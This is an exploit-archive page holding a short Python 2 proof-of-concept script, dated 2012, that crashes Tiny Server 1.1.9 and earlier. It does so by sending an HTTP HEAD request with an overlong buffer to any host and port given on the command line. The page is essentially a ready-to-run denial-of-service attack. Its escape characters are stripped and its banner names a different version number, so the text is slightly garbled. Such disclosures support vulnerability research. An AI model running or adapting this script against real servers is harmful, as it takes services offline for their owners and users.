[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Tiny Server <= 1.1.9 HTTP HEAD DoS
# Published : 2012-03-20
# Author :
# Previous Title : GPSMapEdit v1.1.73.2 (.lst) Local Denial of Service Vulnerability
# Next Title : EMC NetWorker <= 7.6 sp3 Denial of Service


#!/usr/bin/python
###############################################################################
# Overflow exploiting a vulnerability in Tiny Server <=1.1.9 (HTTP) HEAD request.
# Date of Discovery: 3/19/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://tinyserver.sourceforge.net/tinyserver_full.zip
# Software Version: <=1.1.9
# Target OS: Windows (Tested on Windows 7)
###############################################################################

import httplib,sys

if (len(sys.argv) != 3):
    print 'nt[*]Usage:  ./' + sys.argv[0] + ' <target host> <port>'
    sys.exit()

host = sys.argv[1]
port = sys.argv[2]
buffer = 'A' * 100 + 'HTTP/1.0rn'

print 'n[*]*************************************************'
print '[*] Tiny Server <= 1.1.0(HTTP) HEAD request overflow'
print '[*] Written by Brock Haun'
print '[*] security.brockhaun@gmail.com'
print '[*]*************************************************n'

try:
    print 'nt[*] Attempting connection.'
    httpServ = httplib.HTTPConnection(host , port)
    httpServ.connect()
    print 'nt[*] Connected.'
    print 'nt[*] Sending crash buffer.'
    httpServ.request('HEAD' , buffer)
    print 'nt[*] Done! Target should be unresponsive!'
except:
    print 'nt[***] Connection error. Something went wrong. :('
    
httpServ.close()
sys.exit()